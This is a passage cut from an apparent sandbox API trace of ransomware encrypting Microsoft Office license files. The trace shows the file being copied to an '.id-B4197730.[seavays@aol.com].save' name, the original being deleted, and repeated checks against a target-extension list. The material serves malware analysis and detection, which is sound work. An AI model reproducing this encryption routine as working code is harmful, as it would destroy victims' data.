hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x128, lpOverlapped=0x0) returned 1 [0183.319] SetEndOfFile (hFile=0x2a8) returned 1 [0183.319] CloseHandle (hObject=0x2a8) returned 1 [0183.319] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.319] SetEndOfFile (hFile=0x530) returned 1 [0183.337] CloseHandle (hObject=0x530) returned 1 [0183.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.634] lstrlenW (lpString=".doc") returned 4 [0183.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.634] lstrlenW (lpString=".docx") returned 5 [0183.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.634] lstrlenW (lpString=".pdf") returned 4 [0183.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.634] lstrlenW (lpString=".xls") returned 4 [0183.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.634] lstrlenW (lpString=".xlsx") returned 5 [0183.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.635] lstrlenW (lpString=".ppt") returned 4 [0183.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString=".zip") returned 4 [0183.635] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString=".rar") returned 4 [0183.635] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString=".bz2") returned 4 [0183.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString=".7z") returned 3 [0183.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString=".dbf") returned 4 [0183.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString=".1cd") returned 4 [0183.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString=".jpg") returned 4 [0183.635] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.635] lstrlenW (lpString=".doc") returned 4 [0183.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.635] lstrlenW (lpString=".docx") returned 5 [0183.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.636] lstrlenW (lpString=".pdf") returned 4 [0183.636] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString=".xls") returned 4 [0183.636] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString=".xlsx") returned 5 [0183.636] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.636] lstrlenW (lpString=".ppt") returned 4 [0183.636] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.636] lstrlenW (lpString=".zip") returned 4 [0183.636] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString=".rar") returned 4 [0183.636] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString=".bz2") returned 4 [0183.636] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString=".7z") returned 3 [0183.636] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.636] lstrlenW (lpString=".dbf") returned 4 [0183.636] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.636] lstrlenW (lpString=".1cd") returned 4 [0183.636] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0183.636] lstrlenW (lpString=".jpg") returned 4 [0183.636] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.637] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.637] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0183.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.640] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11674) returned 1 [0183.640] CloseHandle (hObject=0x530) returned 1 [0183.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0183.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.641] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.641] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0183.642] GetLastError () returned 0x0 [0183.642] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0183.645] WriteFile (in: hFile=0x534, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0183.646] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.646] WriteFile (in: hFile=0x534, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x130, lpOverlapped=0x0) returned 1 [0183.646] SetEndOfFile (hFile=0x534) returned 1 [0183.647] CloseHandle (hObject=0x534) returned 1 [0183.647] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.647] SetEndOfFile (hFile=0x530) returned 1 [0183.651] CloseHandle (hObject=0x530) returned 1 [0183.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.653] lstrlenW (lpString=".doc") returned 4 [0183.653] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.653] lstrlenW (lpString=".docx") returned 5 [0183.653] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.653] lstrlenW (lpString=".pdf") returned 4 [0183.653] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.653] lstrlenW (lpString=".xls") returned 4 [0183.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.653] lstrlenW (lpString=".xlsx") returned 5 [0183.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.654] lstrlenW (lpString=".ppt") returned 4 [0183.654] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString=".zip") returned 4 [0183.654] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString=".rar") returned 4 [0183.654] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString=".bz2") returned 4 [0183.654] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString=".7z") returned 3 [0183.654] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString=".dbf") returned 4 [0183.654] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString=".1cd") returned 4 [0183.654] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString=".jpg") returned 4 [0183.654] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.654] lstrlenW (lpString=".doc") returned 4 [0183.654] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.654] lstrlenW (lpString=".docx") returned 5 [0183.654] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.655] lstrlenW (lpString=".pdf") returned 4 [0183.655] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString=".xls") returned 4 [0183.655] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString=".xlsx") returned 5 [0183.655] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.655] lstrlenW (lpString=".ppt") returned 4 [0183.655] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.655] lstrlenW (lpString=".zip") returned 4 [0183.655] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString=".rar") returned 4 [0183.655] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString=".bz2") returned 4 [0183.655] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString=".7z") returned 3 [0183.655] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.655] lstrlenW (lpString=".dbf") returned 4 [0183.655] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.655] lstrlenW (lpString=".1cd") returned 4 [0183.656] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0183.656] lstrlenW (lpString=".jpg") returned 4 [0183.656] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.656] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.656] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0183.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.659] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21917) returned 1 [0183.659] CloseHandle (hObject=0x530) returned 1 [0183.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0183.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.664] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.664] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0183.666] GetLastError () returned 0x0 [0183.666] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x559d, lpOverlapped=0x0) returned 1 [0183.669] WriteFile (in: hFile=0x534, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0183.670] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.670] WriteFile (in: hFile=0x534, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0183.671] SetEndOfFile (hFile=0x534) returned 1 [0183.671] CloseHandle (hObject=0x534) returned 1 [0183.671] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.671] SetEndOfFile (hFile=0x530) returned 1 [0183.678] CloseHandle (hObject=0x530) returned 1 [0183.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0183.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.989] lstrlenW (lpString=".doc") returned 4 [0183.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".docx") returned 5 [0183.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.989] lstrlenW (lpString=".pdf") returned 4 [0183.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".xls") returned 4 [0183.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".xlsx") returned 5 [0183.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.989] lstrlenW (lpString=".ppt") returned 4 [0183.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.989] lstrlenW (lpString=".zip") returned 4 [0183.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".rar") returned 4 [0183.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".bz2") returned 4 [0183.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString=".7z") returned 3 [0183.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.989] lstrlenW (lpString=".dbf") returned 4 [0183.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.990] lstrlenW (lpString=".1cd") returned 4 [0183.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.990] lstrlenW (lpString=".jpg") returned 4 [0183.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.990] lstrlenW (lpString=".doc") returned 4 [0183.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".docx") returned 5 [0183.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.990] lstrlenW (lpString=".pdf") returned 4 [0183.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".xls") returned 4 [0183.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".xlsx") returned 5 [0183.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.990] lstrlenW (lpString=".ppt") returned 4 [0183.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.990] lstrlenW (lpString=".zip") returned 4 [0183.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".rar") returned 4 [0183.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".bz2") returned 4 [0183.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.990] lstrlenW (lpString=".7z") returned 3 [0183.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.991] lstrlenW (lpString=".dbf") returned 4 [0183.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.991] lstrlenW (lpString=".1cd") returned 4 [0183.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0183.991] lstrlenW (lpString=".jpg") returned 4 [0183.991] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.992] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11637) returned 1 [0183.992] CloseHandle (hObject=0x388) returned 1 [0183.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0183.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0183.999] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.999] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.000] GetLastError () returned 0x0 [0184.000] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, 